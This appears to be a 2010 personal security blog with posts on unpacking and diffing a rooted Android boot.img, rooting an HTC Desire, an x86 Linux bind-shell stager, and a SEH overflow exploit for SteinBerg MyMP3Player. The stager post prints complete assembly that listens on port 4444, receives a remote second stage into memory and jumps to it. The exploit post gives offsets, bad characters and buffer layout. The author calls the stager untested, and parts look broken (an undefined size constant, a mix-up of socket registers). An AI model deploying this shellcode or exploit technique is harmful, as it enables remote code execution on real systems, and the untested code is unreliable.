dimanche 25 avril 2010

Unpacking the boot.img


Today, I will speaking a bit about Android boot.img.

I've been wondering what it is that makes the Android phones go root.
In facts, my theory was the following : we only need su to get root.

To check that, I coded a boot.img unpacker. The link to download it is below.

The boot.img format is defined in this kernel file : android/system/core/mkbootimg/bootimg.h.

** +-----------------+
** | boot header     | 1 page
** +-----------------+
** | kernel          | n pages 
** +-----------------+
** | ramdisk         | m pages 
** +-----------------+
** | second stage    | o pages
** +-----------------+
** n = (kernel_size + page_size - 1) / page_size
** m = (ramdisk_size + page_size - 1) / page_size
** o = (second_size + page_size - 1) / page_size
** 0. all entities are page_size aligned in flash
** 1. kernel and ramdisk are required (size != 0)
** 2. second is optional (second_size == 0 -> no second)
** 3. load each element (kernel, ramdisk, second) at
**    the specified physical address (kernel_addr, etc)
** 4. prepare tags at tag_addr.  kernel_args[] is
**    appended to the kernel commandline in the tags.
** 5. r0 = 0, r1 = MACHINE_TYPE, r2 = tags_addr
** 6. if second_size != 0: jump to second_addr
**    else: jump to kernel_addr

With this, we can code a decent unpacker.
The packer would be about using mkbootimg but i don't need it for now.

What I basically did to get to see what make a Nexus One get rooted it to compared the original boot.img to the corresponding SuperBoot boot.img.
What I saw is the following :

diff -ru original/default.prop rooted/default.prop
--- original/default.prop 2010-04-25 11:58:52.143574246 +0200
+++ rooted/default.prop 2010-04-25 11:59:12.373574922 +0200
@@ -1,7 +1,7 @@
diff -ru original/init.rc rooted/init.rc
--- original/init.rc 2010-04-25 11:58:52.163574413 +0200
+++ rooted/init.rc 2010-04-25 11:59:12.393586264 +0200
@@ -230,6 +230,11 @@

## Daemon processes to be run by init.
+service superboot /system/bin/sh /superboot/superboot.sh
+    user root
+    group root
+    oneshot
service console /system/bin/sh

Only in rooted/: superboot

Well, we can clearly see that some property are there to unlock a security and enable permanent USB Debugging mode.
More over, only the job is done in the superboot directory which contains :
- su
- superboot.sh
- Superboot.apk

Hell yeah, seems like my theory hold ;) .

- HOWTO: Unpack, Edit, and Re-Pack Boot Images
- Superboot - rooting the Nexus One
- Original Nexus One images
- m_101 GIT repository

samedi 24 avril 2010

HTC Desire


I finally have a smartphone! Got my HTC desire yesterday, of course I couldn't wait to play with it a bit. It's pretty dazzling to think that it has a 1Ghz CPU and 576MB of RAM, crazy specs for a phone.

It's pretty straightforward to use, but there still is a lot of apps to have on it I guess : nmap, aircrack-ng, metasploit, maltego like, scapy, etc.
I was happy as hell to have it but got disappointed very fast to see that most of these tools weren't there or couldn't be launched because of some missing dependencies (ruby, python etc).
For Ruby, there was the Ruboto IRB shell, which seems to be a JRuby port (yeah java isn't that multiplateform afterall), but it doesn't seem to manage folders.
So I searched for another one and stumbled upon ASE - Android Scripting Environment, haven't tried it yet, gotta have to, more on this later.

With smartphone, mean communicating device, and the problem with the phone rates is that having all ports unlocked is expensive as hell, it's 10€ more compared to only having web (80, 443) and mail port (pop or imap? or maybe both dunno). It means that we would just need to have some kind of tunneling server to bypass the restriction and go anywhere we want to go.
Lucky i have WiFi where i am.

Since i'm kind of interested in security and like having a hackable device, I was asking myself if we could play with network routes, modules, etc ... we just can't ... or maybe we can ;) .
I found frustrating to not really own the phone, yeah we aren't root, just normal users.
So I looked a bit at the different steps needed to completely own the phone. There are like tons of tutorials as how to do it ... but all the same programs, we don't know that much about the root hack image itself (Superboot thingy).

Anyway, I found some cool work about it, the steps looks something like this :
- unlock bootloader
- put the rooted boot.img on sd card
- launch in bootloader mode
- choose fastboot
- rooted

I didn't have to unlock my phone since it already was. The only manipulation to do to unlock are these :
- Connect your phone in USB Debugging mode
- user@computer$ fastboot oem unlock
That's it, you unlocked the bootloader.

There was an elevation privilege exploit some months ago but it got fixed but now it seems. The root hack is now about flashing the bootloader.

The recovery image hack isn't necessary but useful if you wanna make a backup of your rom and play a bit more with custom roms.
The last thing to note is that the HTC Desire is pretty similar to the Nexus One so it shouldn't be too different for rooting it either.

For now it's only my theory I extrapolated from the doc' i read. So the goal would be to make a rooted boot.img and we'll have the key to the kingdom.

Anyway, I was thinking of building some kernel and stuffs from source but I didn't managed it yet. Got to look if it isn't some sort of cross compilation problem.

More over, when the phone is rooted, my guess would that it might be easier to hook stuffs in the system to better analyze it.

For now, I'm searching for an original HTC Desire firmware before I work more on a root hack for it.

That's all for today.

Sources :
- Why root?
- How to unlock the bootloader on your Nexus One
- Superboot
- Android Scripting Environment
- Obsolete android elevation privilege exploit
- Build CyanogenMod from source
- HOWTO: Unpack, Edit, and Re-Pack Boot Images
- Install_Custom_ROM
- Amon_RA Recovery image
- How to gain root access on your HTC Hero

mercredi 21 avril 2010

Linux bind stager x86 WIP (unoptimised)

Last day I was asking myself about metasploit not seeming to have a real x86 Linux stager and I was like : oh let's do it since I have time today.

This shellcode was untested and not optimised. It is only a Work In Progress since I will be quite busy these few next weeks.
My guess for it's usage would be for jailbreaking (restricted shell but vulnerable program who knows? ;) ) or simply for doing specific tasks which might need space.

For now it's 106 bytes, there is room for improvements of course ;) .

Here it is :
; AGPL v3
; Author : m_101

bits 32

; socket function number
%define SYS_SOCKET  1
%define SYS_BIND    2
%define SYS_LISTEN  4
%define SYS_ACCEPT  5
%define SYS_RECV    10

%define AF_INET     2

%define SOCK_STREAM 1

%define PROT_NONE   0
%define PROT_READ   1
%define PROT_WRITE  2
%define PROT_EXEC   4

%define MAP_SHARED  1
%define MAP_PRIVATE 2
%define MAP_FIXED   16


%define PORT    4444

section .text

; socket opening
push byte 102   ; socketcall
pop eax
; args
mov byte dl, 2  ; edx = 2 <=> AF_INET
push edx
dec edx         ; edx = 1 <=> SOCK_STREAM
push edx
cdq             ; reset edx
push edx
mov ecx, esp
; socket
push byte SYS_SOCKET
pop ebx
; socket (AF_INET, SOCK_STREAM, 0)
int 0x80
mov esi, eax    ; save socket descriptor
; bind : need to finish it
push byte 102   ; socketcall
pop eax
cdq             ; reset edx
; constructing struct sockaddr_in
push edx            ; padding
push edx            ; padding
push edx            ; address = 0 = ANY_ADDRESS
push word PORT      ; sin_port
push byte AF_INET   ; sin_family
mov ecx, esp        ; struct sockaddr_in *addr

; construct args array
push byte SIZEOF_SOCKADDR_IN    ; socklen_t addrlen
push ecx                        ; struct sockaddr_in *addr
push esi                        ; socket descriptor
mov ecx, esp                    ; args
push byte SYS_BIND
pop ebx
; bind (sd, addr, 16)
int 0x80

; listen
push byte 102
pop eax
cdq             ; reset edx
mov byte dl, 10 ; backlog = 10
push edx        ; backlog
push esi        ; socket descriptor
mov ecx, esp    ; args
push byte SYS_LISTEN
pop ebx
; listen (sd, 10);
int 0x80
push byte 102      ; socketcall
pop eax
push esp    ; to fix size address
push esp    ; to fix sockaddr_in address
push esi
mov ecx, esp    ; args array
mov byte bl, SYS_ACCEPT
int 0x80
mov esi, eax    ; save client socket

; memory allocation
; mmap
push byte 90
pop eax
; sign extend eax => edx = 0
; construct args
push edx    ; NULL
; 4MB size
push byte 1
pop edx
shr edx, 12
push edx        ; edx = 4MB
xchg edx, ebx   ; ebx = 4MB
push edx
mov byte dl, MAP_PRIVATE
push edx
; fd
push edi    ; client socket
; offset
cdq         ; reset edx
push edx    ; offset = 0
int 0x80        ; make syscall
mov edi, eax    ; save allocated memory

push byte 102   ; socketcall syscall
pop eax

cdq             ; reset edx
push edx        ; flag
push ebx        ; memory allocated size
push edi        ; memory address
push esi        ; client socket descriptor
mov ecx, esp    ; args

push byte SYS_RECV
pop ebx

; recv (client socket descriptor, memory address, 4MB, 0);
int 0x80

; stage execution
jmp edi

Next thing to do is to optimized it and do the reverse version ;) .

Happy shellcoding,


jeudi 15 avril 2010

Exploiting SteinBerg MyMP3Player


As some of you may know, 2 weeks ago I posted an exploit module for metasploit and it got committed in revision 8975.
Weaponizing actual PoC in working exploit is quite an interesting process in understanding and getting some exploit writing techniques.
Thanks to Joshua Drake for helping me on this one.

It was prolly a SEH based exploit, there was a buffer overflow in the m3u parsing routine. There wasn't anything really special about this exploit, it's a classic SEH exploit.

We have a direct ret overwrite at offset 1024 and SEH overwrite at offset 1040.
For bad chars, there was the classic NULL, then tried "\r\d" and turns out they were bad chars. 0x5c was found later to be a bad char too.

We found the pointers using msfpescan mostly, immunity debug and some plugins to see if they were SafeSEH modules or not.

The SEH exploit buffer is as follow :
[encoder] [payload] [junk] [ret] [stub] [jmp] [se handler]
The ret version :
[encoder] [payload] [junk] [ret]

The SEH ret pointer is quite interesting as how it is generated.
Since 0xc0000000 points after 0x80000000, it's a kernel pointer, it will trigger an exception for sure ;) .
0x01 in the rest of the address is to make sure we don't have NULL characters.
And finally rand() to have a different signature for the ret address each time.

The direct ret overwrite pointer is a "call ecx" since ecx points to our buffer ;) .

For the people wanting to have more details on SEH exploits, I advise you reading Peter Eeckoutte's great serie ;) .


Link to the exploit module : SteinBerg MyMP3Player .
Link to Peter Van Eechoutte's Blog : Peter Van Eechoutte's articles